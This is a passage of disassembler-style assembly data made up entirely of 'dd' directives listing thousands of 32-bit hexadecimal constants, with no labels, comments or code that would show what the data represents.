		dd 973C20A4h, 0C70595Dh, 39589FC6h, 9303841h, 38571C9h
		dd 0CC8A48C3h, 8E14EF3Eh, 6328D4B0h, 2B64690h, 2F5D4803h
		dd 971C1C01h, 4A0147FBh, 0CF25B637h, 55835840h,	97D10EA7h
		dd 0D3A3DD1Ah, 91F8209Ch, 44989934h, 286F3600h,	2D1DBE08h
		dd 0AB6528C2h, 0F88309DCh, 1403398Bh, 510038D0h, 3CF004D3h
		dd 0E055F1A8h, 16AF488h, 208EA9B4h, 85BFF753h, 648513D0h
		dd 0F49E0098h, 0B8B6237Fh, 6B3E3F11h, 0C5C3138Fh, 0F31B4D81h
		dd 0F488067h, 7EDABEF0h, 0C31924D6h, 0BAD887B8h, 0EDA84CA1h
		dd 22FF4922h, 0A40036D1h, 2EFE1521h, 155D462Bh,	0BCC8EC38h
		dd 62104B3Dh, 0F0080371h, 6B0AF19h, 0AE2F1340h,	0BB3B58CEh
		dd 8FD0CC9Fh, 0B26FA0B4h, 1C2688FBh, 0CF14E652h, 0CFE18F58h
		dd 82705704h, 7DE1B650h, 18F4CAB3h, 284A688h, 3CDC1EE5h
		dd 8E0AAEEh, 58808E4Eh,	0A35F0E06h, 6DA92CCDh, 93000814h
		dd 27145550h, 61073D1Ch, 0CF63C9A4h, 32A1803Ah,	2DEB2077h
		dd 0A449002Bh, 0A82A81E6h, 0E4A68408h, 37D122h,	0F6805E3Fh
		dd 54BA9A3h, 25FDE4EBh,	0F7748A00h, 49F203EFh, 3864616Ah
		dd 6DB9AAh, 914A73ADh, 9359004Ch, 3DE9D03Fh, 0FCBE4324h
		dd 3A01615h, 9569D70Eh,	64390088h, 0EE06155Eh, 0B119B48Ah
		dd 5C088B05h, 66C42180h, 0A2A47815h, 0EF988201h, 732EA9D7h
		dd 8ECC8D11h, 0E0410BF9h, 0B29DFE75h, 2FFF0651h, 78B455BAh
		dd 6F304A71h, 966DB835h, 0E0BC8971h, 0FF00E6E9h, 0F9D4CC81h
		dd 3F37C941h, 8309EE0Ch, 18976D1Eh, 0E7879B91h,	41D5208Ah
		dd 0C3038EDFh, 0ADC8C104h, 50ACFA5Ah, 0E2231444h, 0BA04EC5Dh
		dd 29D6109h, 494F1CD5h,	0A6E4B674h, 0CF18C0B2h,	0BDF153E9h
		dd 4D10BC67h, 28D06C7Fh, 40E2F2B4h, 541808B5h, 6F186CF6h
		dd 74DE0305h, 505BD93Bh, 1EF0200Fh, 5065D2E0h, 1EA3CC1Dh
		dd 0B67A8EA3h, 4664AB08h, 13BB7040h, 3704EF82h,	99565C16h
		dd 320FF498h, 35F03944h, 8D08A08Eh, 0A3EC7A60h,	225C464Dh
		dd 8187079Ah, 24AC2CECh, 0A6C8904Ah, 672049EEh,	32900AAEh
		dd 51ECB13Eh, 0A984172h, 0F66E00ADh, 4C7315DFh,	6880BCC3h
		dd 22526F1Fh, 4CAE4C9Bh, 24414656h, 560AD8BCh, 974BD0A9h
		dd 803F9170h, 0CC31BA5Ah, 7A472A1Ch, 0E20930FCh, 0F0E74BC9h
		dd 8780FC91h, 0C40D9E2Eh, 87E0A03h, 94C2DA0h, 6C207496h
		dd 0F2868939h, 4821AC00h, 0C4E716ABh, 56E67AF6h, 9F1288DDh
		dd 67C0D531h, 7822C244h, 2BA95060h, 0ED598B60h,	0A2ABAC11h
		dd 0CAEC82B8h, 0A18D0298h, 4DA0E0AEh, 6F9BC713h, 0CA2FD807h
		dd 3059A81Ch, 79EE204Ch, 48456011h, 184CCC51h, 65A0C550h
		dd 139D048Ch, 62B0B680h, 0B56E2140h, 3746D013h,	0AFD11518h
		dd 0F2941D19h, 73B71EBEh, 2EE17055h, 7C909EA6h,	9CCE0F24h
		dd 0CCCAA964h, 0DF93D7Ch, 49A2EC56h, 704130h, 0D41898B5h
		dd 93F4B1CCh, 83019899h, 2CC40530h, 1F238C4h, 0B3DD4BAAh
		dd 29A67E09h, 8D0210B0h, 0A1EC7CC0h, 9C914C4Dh,	0EC6389C0h
		dd 0F564B0C6h, 0C5B3810h, 6DC22E12h, 0C8339839h, 23049A2h
		dd 65DF3C4Bh, 0D0DCF680h, 0B1F1B9F9h, 0BC8549h,	47CDA4E2h
		dd 12CB251Fh, 60A8A621h, 0D5741EC0h, 7C1837F9h,	35A89B05h
		dd 0D840AFEEh, 396C247Fh, 0FF600A2Ch, 890FED4h,	467CAB4Ah
		dd 0B5910099h, 45362E73h, 0AC9318h, 16E66893h, 60CACB8h
		dd 89A9EE9Eh, 3E5007FBh, 30573B67h, 0E930E249h,	72070500h
		dd 0B1E690Ah, 5B09890h,	1C2113A9h, 0AAB098A6h, 847CE02Eh
		dd 9F186351h, 0B6237EF4h, 4411A0h, 0BB13B76Ch, 3B4801Fh
		dd 0E6635382h, 210034CFh, 0FA6F744Ah, 48DCE8DBh, 5C50CA2Eh
		dd 38774993h, 258017h, 5ABBB88Eh, 6A0F53F1h, 0A169472Ah
		dd 405CB45Dh, 0DFE02850h, 0BC50012Fh, 0A2DCA6EFh, 863860ECh
		dd 58608850h, 9A27A8Ch,	0AB18B67Bh, 6F071C16h, 0C04413BAh
		dd 0F59038F7h, 731A674h, 3E9527E6h, 231720FBh, 149BFF80h
		dd 89597200h, 2E0E1650h, 0E1D82A45h, 5D5AF1Bh, 13563061h
		dd 1254ECC2h, 8CB5AD4Fh, 4804069Ch, 68F92F5Eh, 0FE00982Ch
		dd 0E928FC47h, 58DD16h,	3A0FEF83h, 0D942EC36h, 20747E13h
		dd 84811894h, 0ED009F0Eh, 5A4A3B31h, 0B9701C77h, 0A911150h
		dd 6E9620C3h, 0CF80BDCCh, 0C709FA6Ah, 2B3EFC1Ch, 0D1DF0C5Eh
		dd 17A438A2h, 40CE534Bh, 0DE060F14h, 0A609855Bh, 9AB7C44Ch
		dd 2EF801D8h, 32C83C2Fh, 0A485027Ah, 1C116FAFh,	0C7436451h
		dd 5E8BE1ABh, 4C155881h, 70ED628Dh, 7F8C66D0h, 0EE09115Bh
		dd 87788872h, 211563C7h, 242B216Dh, 0C2123078h,	18DCB2C5h
		dd 41343F79h, 75B0D630h, 0B330322Bh, 0CEFA87Bh,	0EE7E06DAh
		dd 305E1321h, 31577358h
		dd 0CC1AD01Bh, 64232029h, 7157101h, 601842EEh, 0C059C988h
		dd 0A9DB64C0h, 0BF00D2FEh, 3D5A73D4h, 0F28BEA58h, 0C1CB0A3h
		dd 8593559Fh, 0E116B638h, 0C20B5A5h, 80978076h,	0F2F04C82h
		dd 0FD9C6E50h, 0DD3BD0A1h, 0E440107Ah, 480E753Dh, 0B0643CD6h
		dd 155C6067h, 5AEE2304h, 0C6015E11h, 56221564h,	0D7B88175h
		dd 7031AACEh, 278C2192h, 67347080h, 7E5050D2h, 2E58A6A3h
		dd 60049380h, 0D4F4A7E9h, 88F17C38h, 1E6724CFh,	5C2B4C1h
		dd 252852BEh, 0D4A46BD2h, 0D0A16359h, 4C10B67Ch, 72B050ABh
		dd 371D13B9h, 6D40F140h, 2D661D03h, 21F0157Fh, 4F01E8F7h
		dd 4D681A8h, 4069A6CFh,	7B5800DEh, 0F9F696ADh, 0DA584A5Dh
		dd 0F122360Ch, 0CEB625E0h, 0B926A022h, 0B30BFCDAh, 65A9B5E1h
		dd 32BFC404h, 0EDBCA335h, 5CD0E549h, 5BB6CA2Ch,	5CA46C27h
		dd 23201C8Ah, 0AB002AC5h, 0F13DE04Bh, 9FD8A8A2h, 3AECA42Ah
		dd 804CEF38h, 7D0A7C4h,	303944B4h, 0FDCBF0h, 0B15F2E78h
		dd 0D7BEE51h, 0F42F264Ah, 0F3004923h, 9FAB7DA6h, 68BD0047h
		dd 772CB49Eh, 0AD31C2AFh, 49D7709Bh, 0D8B940E1h, 9F82C84Dh
		dd 7328522h, 0C1E0D8E0h, 0FAB14h, 0E5835D5Bh, 0B0EA328Fh
		dd 55B450C0h, 1261CE9h,	0D80D7139h, 34484349h, 0B9EFE230h
		dd 11D04829h, 7F078433h, 84F0ADF7h, 6CD0D21Ah, 0A558405Bh
		dd 0CAD70C5Eh, 0F168AC6Dh, 0ADAEF90Bh, 35E8217Bh, 0B7E14E59h
		dd 4012C66h, 92F5C48h, 88A50C69h, 472CFC96h, 88202026h
		dd 82592880h, 6054160Ah, 0A43A98B1h, 4141E43Ch,	703B6B2h
		dd 0E95AC7E3h, 0F00FEC40h, 7BEA55DFh, 0C85C92A5h, 0E6806640h
		dd 1FBA489Bh, 92FC07ABh, 3D12073Bh, 223C3C79h, 196801B4h
		dd 1B545ACCh, 4B202843h, 83A6EC08h, 0A885CA90h,	94B683Eh
		dd 9078382Fh, 12ED648h,	0FD22AB7Fh, 6CFA59B3h, 2D9F0C30h
		dd 0E391B2h, 22F3C3FFh,	38D50A9Bh, 0D42C0812h, 6E236842h
		dd 0CC020B74h, 780AD7E2h, 5A24CD40h, 422D805Fh,	40DDBB18h
		dd 6332AA20h, 0A38C2963h, 0FA0C3100h, 0E19CD510h, 50CE028Ah
		dd 0B0774487h, 76C2D9E0h, 21B9DC26h, 5C68822Dh,	3A04CF2h
		dd 0A60D7876h, 0E100B0EDh, 59068CF3h, 0C59380h,	382E77FAh
		dd 0BACFFFB8h, 0DF677500h, 2F505CE9h, 0F5EA26A0h, 8462123Dh
		dd 4B8B3E8h, 8B95E136h,	563E3CB7h, 94211D25h, 0DAFF8857h
		dd 620F1841h, 307AF224h, 913EFD11h, 6D7C8952h, 2E1C21D4h
		dd 0DAC6A9EAh, 0B2872CC4h, 0A4B49FB8h, 2B2D00D2h, 0F1EA2FECh
		dd 58B4A549h, 43D1730h,	335310C8h, 0F1B9895Eh, 9AED2h
		dd 8611BAFCh, 4960C7A4h, 0E17B5412h, 2D5C518h, 936060B4h
		dd 4896816Ah, 0CE0C68F4h, 60F22E7Eh, 78974826h,	19EFFD03h
		dd 0A806B163h, 0A4BDBFDAh, 82734848h, 0BE09530Bh, 14C0002Eh
		dd 0BB19ED3Ah, 44454Ah,	8C8570Ch, 0E98498D5h, 4D215E1h
		dd 5FC8812Dh, 0A869009Bh, 0D5DD2CFAh, 7FB6418Ch, 80C06997h
		dd 0A3305087h, 34F24E05h, 0A8E862A8h, 88908078h, 4E584E48h
		dd 9A59E447h, 9840F4FAh, 967F6E1h, 0A1E6C206h, 6356FCA2h
		dd 0EEF5E8C6h, 285CAA0Eh, 0F1E34C43h, 85CE39FAh, 0F0904658h
		dd 0B4D59B96h, 0A54908D0h, 0C1DC10ADh, 66DD0088h, 36DCF0ABh
		dd 0C30954EFh, 669BF99h, 16F9B358h, 0D721D60Dh,	11CA3188h
		dd 0C0405A2h, 6C972224h, 585400A9h, 342CF673h, 9101E21h
		dd 94B0BAC0h, 71114807h, 0A388212Fh, 47FF9380h,	18886D7Fh
		dd 19AC5574h, 6000F79h,	408C490Dh, 17A70A57h, 484E756Dh
		dd 6FC082B4h, 46EE0D15h, 612252h, 641557CBh, 0D126781h
		dd 0DA91F400h, 8EFDB1E1h, 972C30E2h, 0C655AA58h, 18AE0624h
		dd 2DF95402h, 5ACE48Bh,	7411EDFDh, 808C05ACh, 4244C4BAh
		dd 0FEEA4BCCh, 533F8C9h, 0D41D5C05h, 0C2F9C17h,	7D267923h
		dd 2E0530Fh, 448B4974h,	10B4B0E8h, 54AC411h, 0F75E322Ch
		dd 0FAA2CC0h, 5939005Dh, 1DD3D9E4h, 20B5389h, 1B4080Eh
		dd 6C794CBBh, 0C7D5BDE0h, 0ECD81708h, 8D014E20h, 1671E1A3h
		dd 10847214h, 2656A19Bh, 365D1130h, 6B220006h, 7A8BABCBh
		dd 8352392Ch, 211A0866h, 0CB634700h, 0A4E00FFBh, 0DE8C28AEh
		dd 25A4624h, 8BA8CB68h,	101F3162h, 0CB6044h, 0DCBC6A12h
		dd 0F4F6DBD8h, 37A02500h, 22272F9Dh, 0EFE0C20Eh, 6E009E18h
		dd 7A41CAD9h, 20216095h, 39B87DBh, 97086403h, 15D79Dh
		dd 0BF589E18h, 0A401A71Ah, 0F051E130h, 0EF90D6Eh, 2468B1Eh
		dd 40BB8D85h, 6D9CFA4h,	5A03C574h, 0F7E3BD9Bh, 2B8E824h
		dd 51F0305Fh, 0D15B6E29h, 4ED76101h, 46CF0C32h,	21670898h
		dd 0D10F538Fh, 85B04765h, 0B804CDEFh, 39045005h, 1C9AC0EBh
		dd 930F8F54h, 8018EE85h, 41C0EAC7h, 0D34D065Ch,	504E0EF6h
		dd 8089053Eh, 343BA07Ch, 0DC67A9ABh, 6598F048h,	0B703D75Ah
		dd 862335Fh, 0F4CEF86Dh, 0E3070C0Fh, 8B68266Bh,	4991930Ah
		dd 98BCF819h, 28610BF6h, 68C500A8h, 1226A291h, 8CC9289h
		dd 4A211Fh, 69F8C5A0h, 0F18F4467h, 0AD16790Ah, 0F01DCC20h
		dd 0E6D0140h, 28D5F5C7h, 44C87F57h, 8900748Fh, 59049C20h
		dd 0F8ABBB4h, 7806B83Bh, 11EAA3C3h, 2E3B68A6h, 97600065h
		dd 8F067274h, 2808CC4Ch, 5D0E5321h, 0E0221811h,	0F7E2ABE1h
		dd 79C802CEh, 3E8FDB91h, 7F71A890h, 55146C91h, 0C5A98074h
		dd 8CAA9169h, 0F4B2044h, 0AB3BC5A1h, 11EB9101h,	590CDBE3h
		dd 2916F752h, 3DECEC99h, 0FC80A735h, 0E5FDDB0Ch, 6E4826B1h
		dd 49931450h, 0CF017788h, 0B8D2C5E1h, 0E3D69903h, 4DD78FAAh
		dd 90479795h, 658EF798h, 0E0143923h, 0C9B107Ch,	290D2876h
		dd 99FA0280h, 23855DC8h, 18F788A3h, 49909100h, 0E0134206h
		dd 64E10035h, 822954D6h, 20068AEAh, 1EF40B8Bh, 830209C8h
		dd 6586D111h, 0E037016h, 6152677Ch, 0E0BBB093h,	9758C70Fh
		dd 901AC48Dh, 0AF609FB0h, 3DC0D80h, 0C5915AA9h,	20011073h
		dd 5825764Eh, 204EBAA1h, 94AC4F11h, 117B10D4h, 0E3BFD706h
		dd 1D37902Dh, 0CFBEA888h, 227B84D9h, 19888010h,	93931D89h
		dd 1F30F880h, 0C97F3DAFh, 0A4FD592h, 0BC900900h, 0C66B1D80h
		dd 0DD132EFh, 2D73BE18h, 205C8799h, 0D93C6243h,	23A718D7h
		dd 708D9B10h, 24254C33h, 48AA2C50h, 580CA04Eh, 0CE7803B6h
		dd 0A1202C98h, 2137A69h, 0D3CF1878h, 0B88C2A33h, 6A054E29h
		dd 0C253E3E2h, 1EC94079h, 0F2208008h, 0C4010D24h, 41685A35h
		dd 19CFECh, 37CCE0Dh, 95E68D59h, 1FCAE7D3h, 0B40C5842h
		dd 749F360h, 868B00C4h,	1512830Bh, 69DF6588h, 0DA8430Fh
		dd 98BED39Eh, 19017332h, 0C1E56085h, 8DD50C0Ch,	4F2017B7h
		dd 0B37BCA8h, 0EB26E1C0h, 1615CB7Bh, 3ABBFA46h,	1A2304h
		dd 0E0165DAFh, 1760EBDDh, 1CA00499h, 0CC3E00D3h, 8907D08Ch
		dd 96AF70Bh, 0A23D04E8h, 0F004245Fh, 10EC1F4Ch,	92110925h
		dd 0D704131Bh, 48216FD2h, 402FBD50h, 77EED91Dh,	8F883451h
		dd 91191F40h, 2C69311h,	0DC15D59h, 0CCAC8268h, 13F70303h
		dd 3AA32100h, 6FBA8A7Bh, 0F51204EAh, 0C25E8C27h, 0A7305344h
		dd 916710C5h, 9F49E09Ah, 0F5EF05C5h, 8764E6C2h,	0FD8E1378h
		dd 0D1CD2613h, 61C82800h, 643429B3h, 520EE972h,	31578804h
		dd 206FC410h, 0AB804014h, 0BA916BC5h, 4DC0F899h, 7761C5A3h
		dd 1DDF0435h, 81F846C7h, 30BBF10h, 0B573AB4Fh, 12F49814h
		dd 5403FE36h, 47F9FD7h
		dd 5D077819h, 9DF0C986h, 0C40B1948h, 1442FF0h, 62967922h
		dd 40978030h, 6739CD32h, 135D82A1h, 641647E3h, 3D0130ECh
		dd 0F3CF5A38h, 43FB4403h, 10586D77h, 6228C778h,	2E2BA8h
		dd 1A978757h, 0C015F680h, 0F038D7E1h, 9200647Dh, 2F20727Ah
		dd 5889D20Ch, 407294ADh, 0F01883Eh, 0CD06C7E4h,	0B020642Ah
		dd 1EFE2C08h, 665986A8h, 30032816h, 45895E55h, 77B5F1E4h
		dd 2405D821h, 35CE3881h, 0EA39DC26h, 0BF8CD4h, 173D1555h
		dd 0FF109A97h, 5604E5B8h, 0D3686B6h, 66389090h,	101C0152h
		dd 0DF330283h, 240BCC12h, 61503F60h, 35D3916Dh,	811032D7h
		dd 65E7D38h, 887645B8h,	5564D18h, 20024358h, 27ECCF54h
		dd 0DBC8B650h, 4C991340h, 0A5174C03h, 0BDB045F8h, 37B0466Bh
		dd 9B00A116h, 1F9054B1h, 1AFD2D5h, 0F1C5767Bh, 0E0889A52h
		dd 2E4846D9h, 4961309Ch, 147C774h, 1AC25E9Eh, 6072481Dh
		dd 21C9918Ch, 43DC10F7h, 0F12C1E81h, 2FC000F4h,	0A70AF044h
		dd 42610D01h, 6746815h,	0E1BFC41h, 20995907h, 4195CCDEh
		dd 0D0592900h, 7617B19h, 9389145Bh, 972AE490h, 56F12680h
		dd 59AB8024h, 5AFE9A84h, 0B8C879F2h, 0FD06B954h, 6122EAA8h
		dd 0D9F8B00h, 4A8F3C7Ch, 0C82E0965h, 0DD00E16Ah, 9AA01B2Dh
		dd 0F0A12230h, 4867A5F1h, 44CE858h, 0A6F0D126h,	362F0874h
		dd 2B959705h, 0C46014D4h, 0FDD3920Ah, 0CD11E450h, 6F98C802h
		dd 9E11A8ACh, 5BC2608Eh, 26314C97h, 11582017h, 0EF184925h
		dd 84A0366Ah, 71C8A0CAh, 20C8234Dh, 7FC54102h, 234CB32Ch
		dd 611D9F78h, 54975C84h, 4F202362h, 92751159h, 0E172558h
		dd 52855022h, 37604C42h, 6C64464Ah, 8F4323E0h, 0AFC17CE1h
		dd 5E1FC057h, 7328B0BAh, 0D320A098h, 12AC8C16h,	60F0C7CEh
		dd 0FDA38DBCh, 8068796Ch, 0DA8A889h, 6D05249Bh,	41264498h
		dd 60E1A38Bh, 3BF7710h,	8341756h, 0CCE58DB4h, 5A5055D0h
		dd 538A8D34h, 0C4427090h, 1ADC260Fh, 0C0500FF2h, 0D8176EB7h
		dd 8229C005h, 62AF73E6h, 1D2BD4A0h, 126AC183h, 50988474h
		dd 4A29A8DFh, 1DCC41F9h, 0F117EAB2h, 6249920Ch,	27D34004h
		dd 6F5B9E00h, 0F105CF58h, 49E54F3Eh, 0F46D4CC1h, 0F70C8104h
		dd 0CE88441Dh, 0C023C874h, 1F2AE5FDh, 2364292Ch, 9320E428h
		dd 0B95D0E18h, 12AF8DE0h, 172E2C54h, 0C58E0696h, 0D4993242h
		dd 88643E11h, 0C5AD6159h, 0A4CA3820h, 4F1D4444h, 3CC5A501h
		dd 148B5D6Fh, 3F975424h, 89E0479Dh, 91F1D6C1h, 381F174Ah
		dd 0BB05B100h, 41D9CB85h, 875DF064h, 74412460h,	3C861C93h
		dd 1937A6CBh, 41548421h, 1043A597h, 0C6240429h,	88C78374h
		dd 0F1D9B1CDh, 0AE718059h, 67954152h, 0AD30C01Ch, 3769F8B3h
		dd 42DC3A55h, 0F8335B2Ch, 468BA9CBh, 119226Ah, 40CB6145h
		dd 91FF02A9h, 1106B180h, 0F81BC7C5h, 9510888Eh,	9E022E13h
		dd 58F9AB0Bh, 1D219844h, 68223CFFh, 0E8D68CA1h,	2441D40Bh
		dd 8B9DD864h, 0FA4F7810h, 0D068274Ah, 75FF405Fh, 1100E174h
		dd 0B53476D1h, 427900Ch, 2C0391A8h, 43EB061Fh, 5E2896A1h
		dd 0B90B2A46h, 59008EE4h, 90419FCFh, 2F198C90h,	2CD8DB38h
		dd 0D543630h, 5209AB2Bh, 0E13821D9h, 10D42915h,	257CF4C7h
		dd 240A2B8Fh, 53460C00h, 768CA598h, 52B49067h, 25224C84h
		dd 115F5500h, 0B67821F8h, 191F63EBh, 80B70765h,	0EA84EDA2h
		dd 0CA1D100h, 2ECA391Bh, 40AC4CDDh, 8203B11h, 3B5FF5CBh
		dd 97131202h, 2048BBC5h, 0E8C2C2D9h, 71D8B83Dh,	1FE1F110h
		dd 875EE1C8h, 6023449Ch, 5A173269h, 617C31D3h, 0F0CC0463h
		dd 7BA001F6h, 4C8CD1F2h, 378840BCh, 1E6223BDh, 44BFCF90h
		dd 7A7D0988h, 5C0463B3h, 384953FEh, 69D46813h, 938F88F3h
		dd 0A406027h, 0C4387014h, 1CD0AC5Eh, 4614D285h,	48105788h
		dd 9D705202h, 0C19EB11Ah, 82FE3BBCh, 0C83D9C30h, 5699D3BCh
		dd 21022CE0h, 3EAB9390h, 0F9293CA2h, 82E2C02Ah,	4DBC4C10h
		dd 382840F9h, 7B7CA128h, 0C8635212h, 0D10014FAh, 3C931EC6h
		dd 1CAC57DBh, 0E500F468h, 6289BED3h, 3D42494h, 0C5994CFFh
		dd 0E912053Bh, 0B0539398h, 48C85C12h, 91210AB8h, 4CA42C0Bh
		dd 70E85D7Ah, 27F90499h, 0DB076118h, 24CBA7D7h,	0A05C0B72h
		dd 7193C998h, 61289E63h, 2CF83088h, 874980FCh, 6C2F9h
		dd 0F0140332h, 858D1E73h, 167CD776h, 2379DAB0h,	14780CF4h
		dd 98895A3Fh, 610E0721h, 0EA684AE9h, 83D14443h,	0FF749EBDh
		dd 60840FC0h, 8D2B211Dh, 1AC12E35h, 4E37B966h, 0F1026A88h
		dd 61B58903h, 0E9201829h, 0F88B373Dh, 91E426CCh, 3052E06Ah
		dd 202103E8h, 96D6C35Ah, 1654CCFFh, 524221C0h, 188025C3h
		dd 170EE8C0h, 0F6002A3Ch, 33DA9F3Dh, 18C6B9Bh, 0BDDB25CDh
		dd 99FFB70Fh, 299D17E9h, 821FE9F0h, 3A857130h, 569C238Bh
		dd 44C35E0Eh, 19627489h, 0C3564620h, 2F572DEh, 321E0CFh
		dd 34A7998Dh, 4417049Eh, 14F2F84h, 450899A5h, 8115695h
		dd 58C3503Fh, 448991C3h, 40881A18h, 8BC31F50h, 401E9D03h
		dd 9CB5A9B7h, 42F35EE9h, 5B305329h, 4689E4C3h, 118225Ch
		dd 0D6C35343h, 2056055Ah, 0BF066698h, 7E99963h,	6580325h
		dd 207F37F0h, 8BF961D0h, 951BC072h, 0C3D21DB5h,	0F1FC1ECAh
		dd 75312010h, 0E251209h, 50197410h, 0B83C5363h,	0D95F41D4h
		dd 248218F1h, 0A7529D8Dh, 0D3FFDF80h, 22AC585Bh, 200F1741h
		dd 90A44111h, 301222F6h, 0D80B09E8h, 6A0233FBh,	0FC3BE15Ah
		dd 0D38541D6h, 0E781A0E3h, 33801FA5h, 0E112D88Dh, 8F6E0FC0h
		dd 3F68053Fh, 23B8F011h, 0C35F0E57h, 627C8944h,	5747201Ch
		dd 0BE006EC3h, 2BFC1E07h, 28FDCF6h, 804CB760h, 0A9405DE5h
		dd 46DED9Dh, 1088627Ch,	0B9401E4Dh, 6B750EFh, 0D595FF42h
		dd 81011A24h, 0F7E1F3DFh, 0B2B9855Eh, 200B89FBh, 4823040h
		dd 0CE979B9Ah, 1CB59D61h, 9972D44h, 914E1D59h, 8B018014h
		dd 0A00789BDh, 0E2950329h, 2908A334h, 0E2C5504h, 8944C35Dh
		dd 307CE6Ch, 50C35545h,	0C9E0E7D5h, 651DF69Ah, 0E94830h
		dd 0BE13BB3Fh, 0B036FD2h, 38673E8Fh, 0B07880D6h, 47E604EEh
		dd 0C1E0171Fh, 1F2794Ch, 3F800DE9h, 0A68CCE9Bh,	0B602107Eh
		dd 0CB5538BCh, 90A5634Bh, 0C4E82BFh, 13E952E0h,	92903B33h
		dd 0EC5E1E00h, 0DB0591EDh, 4E9000DDh, 0AF7FCCC4h, 9690E8F6h
		dd 26276A58h, 5AA12183h, 1C8CEC00h, 500DEBh, 84CC9BF6h
		dd 0C1043C83h, 23CE0803h, 188FABE5h, 3705E942h,	25185CDEh
		dd 311854B4h, 0A2D2A95h, 0E5B518ECh, 0FF680C03h, 0ECB878D0h
		dd 8E008C1Bh, 3F57DC5Eh, 0A0F466EBh, 821279EBh,	4ADA9281h
		dd 0C81D62BCh, 74FAA441h, 0B5131546h, 8D2F04B9h, 4219465h
		dd 2F0F8D8h, 4A1D9D01h,	0FA31862h, 28739188h, 18F12867h
		dd 8ACE441Dh, 2B50CA04h, 59D71595h, 11FD9D79h, 0F735801Dh
		dd 4AF9E0h, 63C6555h, 0F1950BECh, 0FF147192h, 743B9BB5h
		dd 8087F9F1h, 67E98111h, 9103454Dh, 1F0A11D0h, 30D4E88Ah
		dd 0FEB7126Ah, 0A49FD408h, 93570DCBh, 5A0A0860h, 7D642262h
		dd 20024404h, 32812C4Dh, 1B801405h, 75EDC0Eh, 0B5BA106Ah
		dd 0BF31705Dh, 9529E4F8h, 2864E803h, 0BEEA8140h, 7856B473h
		dd 75A466CAh, 96E95271h, 6D50533Bh, 0F1EC0042h,	874D173h
		dd 662BF78Bh, 811FCF5Fh, 94CBED84h, 0A164B884h,	0FCD7C81h
		dd 9354E606h, 48EBC53Bh
		dd 0E9B12673h, 3A1818F9h, 1628B071h, 0FD34A112h, 0C1645C23h
		dd 96978C1h, 7C9018A4h,	7E0E1846h, 0AE0B7C86h, 0E4BBB018h
		dd 9D1AEF06h, 0C4581C60h, 1419C96Ch, 0DBD1087h,	0E918FF46h
		dd 0D8444111h, 87A78B00h, 0BAC08EAFh, 6B3301AAh, 0A6737084h
		dd 8B9E42ABh, 0C03BBF23h, 24016DCFh, 0A6A8618Dh, 0BD235018h
		dd 3B2E192Bh, 0F5150424h, 623C56C9h, 931321B2h,	0E849E426h
		dd 9FDE0610h, 6AC7AFA0h, 7C8C609h, 226301B8h, 0FA8C5FE2h
		dd 7F2D0BE8h, 1F6E790Eh, 648580F4h, 98C57757h, 4625013Dh
		dd 68593CA5h, 12F8580h,	9944F9B5h, 40CE036Ah, 77C01D88h
		dd 38671ABh, 0BA2C6F3Dh, 0DA78DC7Eh, 0D3911258h, 110CB405h
		dd 0ED83B6D5h, 59099C35h, 20C0AD49h, 93D0C524h,	624C5DA1h
		dd 90087DAAh, 8003D9A1h, 0B9000DBAh, 0BF0F2052h, 50F883CEh
		dd 4079A4FFh, 290C6005h, 30313DB5h, 61CB0E8Ah, 0FB2C85FFh
		dd 8C580F5Ah, 0FF7EB033h, 6FD7003Eh, 56D3ED06h,	80075EEAh
		dd 0E5F46B03h, 6118E481h, 2502FE21h, 0F9FE4102h, 0E3299F53h
		dd 0ABC8DCF5h, 5B24383Bh, 3A028C58h, 8E84F50h, 902AEB23h
		dd 548C963h, 8D29D9E1h,	5F9F43EDh, 4210D0FFh, 10691E8Eh
		dd 0B602E032h, 0BAE42689h, 94FBA0Eh, 2F8F1284h,	42FED888h
		dd 0C181F0D8h, 76B2099Ch, 0D3092B21h, 110E8511h, 0AEE0DE5Ah
		dd 0B10A0145h, 0D0077038h, 0A86E3173h, 0C71227ACh, 2A896134h
		dd 925CEC2Bh, 9B8D0BEh,	3800E55Eh, 6EEA86C4h, 4F9EC0Ah
		dd 7C6157FEh, 90478645h, 4FC2220Ch, 370F103Eh, 65410C80h
		dd 1CB4248Fh, 64362CEFh, 1B24A3C9h, 0AC84D78Ah,	48DDAE8Ch
		dd 492EE0Ch, 0A71C5D0Eh, 0A2BA5326h, 0EC033117h, 59B9E131h
		dd 0EFA07DA5h, 4A0A94B7h, 23171800h, 320497BCh,	67B1528Bh
		dd 40991B50h, 62B1590Ah, 30564F64h, 3A0E87A2h, 667CBA2Ch
		dd 0C09E4DC9h, 1020D2E9h, 43657848h, 908C21B7h,	21209780h
		dd 508B6660h, 59CAC0CFh, 5C968961h, 502E8EB1h, 252BBAC2h
		dd 0B1E8CCCh, 4CE1998Dh, 398C51C2h, 8917C359h, 41BB384Ch
		dd 0F5C3510Bh, 0BD753911h, 0C70324C5h, 0A02D7DE1h, 0B628620Ch
		dd 31D0B3E9h, 1C786B3h,	0B8621EFh, 961C1B20h, 0EF4CBB27h
		dd 587DEACBh, 7580FEF3h, 505F9744h, 1CD1AAB1h, 2C005E18h
		dd 736CCEBBh, 28DDCCE2h, 163D810Fh, 22F59D09h, 0D7E101DCh
		dd 0FDF86B1h, 2C290283h, 0A975D18Bh, 1814F967h,	0BD890AD6h
		dd 44CE10DDh, 60514097h, 49299D8Bh, 627E9D0Bh, 5F6199FDh
		dd 0D0B23E92h, 0F087B36Ch, 0D2601744h, 337FCD7Ah, 0C056095h
		dd 86E8484Eh, 2A931980h, 72F523C3h, 610E0029h, 0FE594A55h
		dd 0AFFA01B7h, 84685A7Bh, 0F21BEC1Fh, 0A98D8917h, 0D25F044Fh
		dd 5887DF35h, 0BCF20AF4h, 441A84C4h, 0BE98CB8Bh, 2098B060h
		dd 81982A49h, 0A461FB26h, 0CE2AB127h, 0C5BA2B13h, 0FD504C49h
		dd 419026D6h, 508C58E6h, 4F80FE91h, 0B4DCD44h, 2BFB9C5Ah
		dd 0B37257Eh, 319F3A00h, 1E109D4Ah, 3195ACDFh, 22E9C8C4h
		dd 7AA0386h, 88E2A1CAh,	2B35FA25h, 2FBE818h, 12719D89h
		dd 8F451D44h, 7F5B601h,	0A584C673h, 0D021291Bh,	0E90F0229h
		dd 65FCF726h, 0A5381810h, 7A000A77h, 6CC78F8Ah,	6E4403Ah
		dd 0E0957F52h, 0E82266B7h, 54F95DFBh, 81105C53h, 85277E34h
		dd 0A64C88B5h, 1CE9D604h, 6CC7BD94h, 1DB14080h,	9DB5248Dh
		dd 3769ACF9h, 5A40989h,	8E905A0h, 3F590B00h, 2EB619FDh
		dd 24132B3Bh, 1B46740Dh, 0AE84C900h, 0CD51ACDBh, 5C159858h
